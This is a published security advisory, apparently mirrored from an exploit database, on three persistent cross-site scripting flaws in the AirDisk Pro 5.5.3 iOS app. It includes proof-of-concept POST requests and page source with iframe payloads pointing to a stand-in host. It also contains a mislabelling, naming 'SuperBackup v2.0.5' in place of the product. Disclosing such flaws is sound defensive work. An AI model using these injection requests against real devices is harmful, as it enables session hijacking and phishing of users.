decb2a46ee
9 changes to exploits/shellcodes BlazeDVD 7.0.2 - Buffer Overflow (SEH) AirDisk Pro 5.5.3 for iOS - Persistent Cross-Site Scripting SuperBackup 2.0.5 for iOS - Persistent Cross-Site Scripting Pinger 1.0 - Remote Code Execution SeedDMS 5.1.18 - Persistent Cross-Site Scripting Macs Framework 1.14f CMS - Persistent Cross-Site Scripting DedeCMS 7.5 SP2 - Persistent Cross-Site Scripting File Transfer iFamily 2.1 - Directory Traversal Xeroneit Library Management System 3.0 - 'category' SQL Injection
417 lines
No EOL
14 KiB
Text
417 lines
No EOL
14 KiB
Text
# Title: AirDisk Pro 5.5.3 for iOS - Persistent Cross-Site Scripting
|
|
# Author: Vulnerability Laboratory
|
|
# Date: 2020-04-15
|
|
# Vendor: http://www.app2pro.com
|
|
# Software Link: https://apps.apple.com/us/app/airdisk-pro-wireless-flash/id505904421
|
|
# CVE: N/A
|
|
|
|
Document Title:
|
|
===============
|
|
AirDisk Pro v5.5.3 iOS - Multiple Persistent Vulnerabilities
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
https://www.vulnerability-lab.com/get_content.php?id=2203
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2020-04-15
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
2203
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
4.5
|
|
|
|
|
|
Vulnerability Class:
|
|
====================
|
|
Cross Site Scripting - Persistent
|
|
|
|
|
|
Current Estimated Price:
|
|
========================
|
|
1.000€ - 2.000€
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
File sharing with other iOS devices via Bluetooth or Wi-Fi connection
|
|
with automatic search of nearest devices.
|
|
Users can perform file operations on the application like: Copy, Move,
|
|
Zip, Unzip, Rename, Delete, Email, and more.
|
|
Easy to create file like: Text File, New folder, Playlist, Take
|
|
Photo/Video, Import From Library, and Voice Record.
|
|
AirDisk Pro allows you to store, view and manage files on your iPhone,
|
|
iPad or iPod touch. You can connect to AirDisk
|
|
Pro from any Mac or PC over the Wi-Fi network and transfer files by drag
|
|
& drop files straight from the Finder or Windows
|
|
Explorer. AirDisk Pro features document viewer, PDF reader, music
|
|
player, image viewer, voice recorder, text editor, file
|
|
manager and support most of the file operations: like delete, move,
|
|
copy, email, share, zip, unzip and more.
|
|
|
|
(Copy of the Homepage:
|
|
https://apps.apple.com/us/app/airdisk-pro-wireless-flash/id505904421 )
|
|
(Copy of the Homepage: http://www.app2pro.com )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The vulnerability laboratory core research team discovered multiple
|
|
persistent web vulnerabilities in the AirDisk Pro v5.5.3 ios mobile
|
|
application.
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
Felix Yew
|
|
Product: AirDisk Pro v5.5.3 (iOS)
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2020-04-15: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
Medium
|
|
|
|
|
|
Authentication Type:
|
|
====================
|
|
No authentication (guest)
|
|
|
|
|
|
User Interaction:
|
|
=================
|
|
Low User Interaction
|
|
|
|
|
|
Disclosure Type:
|
|
================
|
|
Independent Security Research
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
Multiple persistent cross site scripting vulnerability has been
|
|
discovered in the official SuperBackup v2.0.5 ios mobile application.
|
|
The vulnerability allows remote attackers to inject own malicious script
|
|
codes with persistent attack vector to compromise the mobile
|
|
web-application from the application-side.
|
|
|
|
The first vulnerability is located in the `createFolder` parameter of
|
|
the `Create Folder` function. Attackers are able to name
|
|
or rename paths via airdisk pro ui to malicious persistent script codes.
|
|
Thus allows to execute the persistent injected script
|
|
code on the front site of the path index listing in the content itself
|
|
on each refresh. The request method to inject is POST
|
|
and the attack vector is located on the application-side. Interaction to
|
|
exploit is as well possible through the unauthenticated
|
|
started ftp service on the local network.
|
|
|
|
The second vulnerability is located in the `deleteFile` parameter of the
|
|
`Delete` function. The output location with the popup
|
|
that asks for permission to delete, allows to execute the script code.
|
|
The injection point is the file parameter and the execution
|
|
point occurs in the visible delete popup with the permission question.
|
|
The request method to inject is POST and the attack vector
|
|
is located on the application-side.
|
|
|
|
The third web vulnerability is located in the `devicename` parameter
|
|
that is displayed on the top next to the airdisk pro ui logo.
|
|
Remote attackers are able to inject own malicious persistent script code
|
|
by manipulation of the local apple devicename information.
|
|
The injection point is the devicename information and the execution
|
|
point occurs in the file sharing ui panel of the airdisk pro
|
|
mobile web-application.
|
|
|
|
Remote attackers are able to inject own script codes to the client-side
|
|
requested vulnerable web-application parameters. The attack
|
|
vector of the vulnerability is persistent and the request method to
|
|
inject/execute is POST. The vulnerabilities are classic client-side
|
|
cross site scripting vulnerabilities. Successful exploitation of the
|
|
vulnerability results in session hijacking, persistent phishing
|
|
attacks, persistent external redirects to malicious source and
|
|
persistent manipulation of affected application modules.
|
|
|
|
Request Method(s):
|
|
[+] POST
|
|
|
|
Vulnerable Module(s):
|
|
[+] AirDisk pro Wifi UI
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] createFolder
|
|
[+] deleteFile
|
|
[+] devicename
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
The persistent input validation web vulnerabilities can be exploited by
|
|
remote attackers with wifi access with low user interaction.
|
|
For security demonstration or to reproduce the vulnerability follow the
|
|
provided information and steps below to continue.
|
|
|
|
|
|
1. Create Folder
|
|
|
|
PoC: Vulnerable Source
|
|
<tbody>
|
|
<form name="checkbox_form"></form>
|
|
<tr><td class="e"><input type="checkbox" name="selection"
|
|
value="test"></td><td class="i"><a href="test/"><img
|
|
src="/webroot/fileicons/folder.png"
|
|
width="20" height="20"></a></td><td class="n"><a
|
|
href="test/">test</a></td><td class="m">11 Apr 2020 at 12:35</td><td
|
|
class="s"></td><td class="k">Folder</td>
|
|
<td class="e"><span style="height:15px;
|
|
width:15px;"> </span></td><td class="e"><a href="#" title="Rename
|
|
file" onclick="modalPopup("test", 0, 0);">
|
|
<img src="/webroot/webrename.png" width="15" height="15"></a></td><td
|
|
class="e"><a href="#" title="Delete file"
|
|
onclick="modalPopup("test", 2, 0);">
|
|
<img src="/webroot/webdelete.png" width="15"
|
|
height="15"></a></td></tr><tr class="c"><td class="e"><input
|
|
type="checkbox" name="selection"
|
|
value="test%3E%22%3Ciframe%20src=a%3E"></td><td class="i"><a
|
|
href="[MALICIOUS INJECTED SCRIPT
|
|
CODE!]test%3E%22%3Ciframe%20src=evil.source%3E/">
|
|
<img src="/webroot/fileicons/folder.png" width="20"
|
|
height="20"></a></td><td class="n">
|
|
<a href="[MALICIOUS INJECTED SCRIPT
|
|
CODE!]test%3E%22%3Ciframe%20src=evil.source%3E/">test>"<iframe
|
|
src="evil.source"></a></td>
|
|
<td class="m">11 Apr 2020 at 13:01</td><td class="s"></td><td
|
|
class="k">Folder</td><td class="e"><span style="height:15px;
|
|
width:15px;"> </span></td><td class="e">
|
|
<a href="#" title="Rename file"
|
|
onClick="modalPopup("test%3E%22%3Ciframe%20src=evil.source%3E"[MALICIOUS
|
|
INJECTED SCRIPT CODE!];, 0, 1);">
|
|
<img src="/webroot/webrename.png" width="15" height="15"/></a></td><td
|
|
class="e">
|
|
<a href="#" title="Delete file"
|
|
onClick="modalPopup("test%3E%22%3Ciframe%20src=evil.source%3E"[MALICIOUS
|
|
INJECTED SCRIPT CODE!];, 2, 1);">
|
|
<img src="/webroot/webdelete.png" width="15"
|
|
height="15"/></a></td></tr><tr><td class="e"><input type="checkbox"
|
|
name="selection" value="Help.webarchive" /></td>
|
|
<td class="i"><a href="Help.webarchive"><img
|
|
src="/webroot/fileicons/webarchive.png" width="20"
|
|
height="20"></a></td><td class="n">
|
|
<a href="Help.webarchive">Help.webarchive</a></td><td class="m">6 Dec
|
|
2019 at 05:22</td><td class="s">13.7 KB</td><td class="k">Safari Web
|
|
Archive</td>
|
|
<td class="e"><a href="#" title="Download file"
|
|
onClick="downloadFile("Help.webarchive");"><img
|
|
src="/webroot/webdownload.png"
|
|
width="15" height="15"/></a></td><td class="e"><a href="#" title="Rename
|
|
file" onClick="modalPopup("Help.webarchive", 0, 2);">
|
|
<img src="/webroot/webrename.png" width="15" height="15"/></a></td><td
|
|
class="e"><a href="#" title="Delete file"
|
|
onClick="modalPopup("Help.webarchive", 2, 2);"><img
|
|
src="/webroot/webdelete.png" width="15" height="15"/></a></td></tr>
|
|
</form>
|
|
</tbody>
|
|
</table>
|
|
</div>
|
|
|
|
|
|
--- PoC Session logs [POST] ---
|
|
http://localhost:80/
|
|
Host: localhost:80
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
|
|
Gecko/20100101 Firefox/75.0
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 68
|
|
Origin: http://localhost:80
|
|
Connection: keep-alive
|
|
Referer: http://localhost:80/
|
|
Upgrade-Insecure-Requests: 1
|
|
createFolder=test>"<[MALICIOUS INJECTED SCRIPT
|
|
CODE!]>&ID=0&submitButton=Create
|
|
-
|
|
POST: HTTP/1.1 200 OK
|
|
Accept-Ranges: bytes
|
|
Content-Length: 6257
|
|
|
|
Note: Adding via ftp on mkdir or file is as well possible without
|
|
authentication on default setup.
|
|
|
|
|
|
|
|
2. Delete / Old Popup
|
|
|
|
PoC: Vulnerable Source
|
|
<div id="modal-content" class="simplemodal-data" style="display: block;">
|
|
<div id="modal-title"><h3>Delete File</h3></div>
|
|
<div id="modal-text"><a>Are you sure you want to delete this
|
|
file?"test"</a></div>
|
|
<form name="input" action="" method="post">
|
|
<div id="modal-field"><input type="hidden" name="deleteFile"
|
|
value="test"<iframe src="evil.source">[MALICIOUS INJECTED SCRIPT
|
|
CODE]"></div>
|
|
<input type="hidden" name="ID" id="ID" value="test">
|
|
<input type="submit" name="submitButton" id="submitButton" value="Delete">
|
|
</form>
|
|
</div>
|
|
|
|
|
|
--- PoC Session logs [POST] ---
|
|
http://localhost:80/
|
|
Host: localhost:80
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
|
|
Gecko/20100101 Firefox/75.0
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 55
|
|
Origin: http://localhost:80
|
|
Connection: keep-alive
|
|
Referer: http://localhost:80/evil.source
|
|
Upgrade-Insecure-Requests: 1
|
|
deleteFile=New Folder&ID=New Folder&submitButton=Delete
|
|
-
|
|
POST: HTTP/1.1 200 OK
|
|
Accept-Ranges: bytes
|
|
Content-Length: 4699
|
|
|
|
|
|
Note: Comes up when somebody tries to delete the malicious injected path.
|
|
|
|
|
|
3. Devicename
|
|
|
|
|
|
PoC: Vulnerable Source
|
|
<div id="headerWraper">
|
|
<table border="0" cellspacing="0" cellpadding="0" width="100%">
|
|
<tr>
|
|
<td><a href="./"><img src="/webroot/webicon.png" id="headerImg"
|
|
width="57" height="57"/></a></td>
|
|
<td><h2>[MALICIOUS INJECTED SCRIPT CODE AS DEVICENAME]</h2></td>
|
|
</tr>
|
|
</table>
|
|
</div>
|
|
|
|
|
|
--- PoC Session logs [GET] ---
|
|
http://localhost:80/
|
|
Host: localhost:80
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
|
|
Gecko/20100101 Firefox/75.0
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 55
|
|
Origin: http://localhost:80
|
|
Connection: keep-alive
|
|
Referer: http://localhost:80/evil.source
|
|
Upgrade-Insecure-Requests: 1
|
|
-
|
|
GET: HTTP/1.1 200 OK
|
|
Accept-Ranges: bytes
|
|
Content-Length: 4612
|
|
|
|
Note: Executes each time the wifi sharing ui service of airdisk pro is
|
|
opened by the local or remote users.
|
|
|
|
|
|
Solution - Fix & Patch:
|
|
=======================
|
|
1. Disallow special chars in the folder and filenames. Sanitize all
|
|
inputs and filter all involved parameters to prevent application-side
|
|
attacks.
|
|
2. Parse the output location of the popup permission message content to
|
|
prevent further executions after injects via post method.
|
|
3. Sanitize the devicename displayed on top of the wifi user interaction
|
|
by a secure parsing mechanism.
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
The security risk of the persistent input validation web vulnerabilities
|
|
in the application functions are estimated as medium.
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability-Lab -
|
|
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
|
|
Benjamin Kunz Mejri -
|
|
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without
|
|
any warranty. Vulnerability Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability
|
|
and capability for a particular purpose. Vulnerability-Lab
|
|
or its suppliers are not liable in any case of damage, including direct,
|
|
indirect, incidental, consequential loss of business profits
|
|
or special damages, even if Vulnerability-Lab or its suppliers have been
|
|
advised of the possibility of such damages. Some states do
|
|
not allow the exclusion or limitation of liability for consequential or
|
|
incidental damages so the foregoing limitation may not apply.
|
|
We do not approve or encourage anybody to break any licenses, policies,
|
|
deface websites, hack into databases or trade with stolen data.
|
|
|
|
Domains: www.vulnerability-lab.com www.vuln-lab.com
|
|
www.vulnerability-db.com
|
|
Services: magazine.vulnerability-lab.com
|
|
paste.vulnerability-db.com infosec.vulnerability-db.com
|
|
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
|
|
youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php
|
|
vulnerability-lab.com/rss/rss_upcoming.php
|
|
vulnerability-lab.com/rss/rss_news.php
|
|
Programs: vulnerability-lab.com/submit.php
|
|
vulnerability-lab.com/register.php
|
|
vulnerability-lab.com/list-of-bug-bounty-programs.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this
|
|
file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified
|
|
form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
|
|
All pictures, texts, advisories, source code, videos and other
|
|
information on this website is trademark of vulnerability-lab team & the
|
|
specific authors or managers. To record, list, modify, use or
|
|
edit our material contact (admin@ or research@) to get a ask permission.
|
|
|
|
Copyright © 2020 | Vulnerability Laboratory - [Evolution
|
|
Security GmbH]™
|
|
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY - RESEARCH TEAM |